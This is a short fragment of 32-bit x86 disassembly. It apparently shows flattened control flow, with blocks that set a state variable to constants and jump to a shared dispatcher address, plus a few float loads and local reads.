mov dword [ebp - 0x174], 0xbb6f00d3
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xd64b2974
jmp 0x1000c5e1
movss xmm0, dword [0x100191d4]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x174], 0x6835fd
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xd6778103
jmp 0x1000c5e1
movss xmm0, dword [0x1001919c]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x10019198]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x174], 0x8cc6ab88
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0x8aba62f0
jmp 0x1000c5e1
mov dword [ebp - 0x174], 0xc83b98ef
jmp 0x1000c5e1
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x174], 0x9cffc2c
jmp 0x1000c5e1
jmp 0x10003250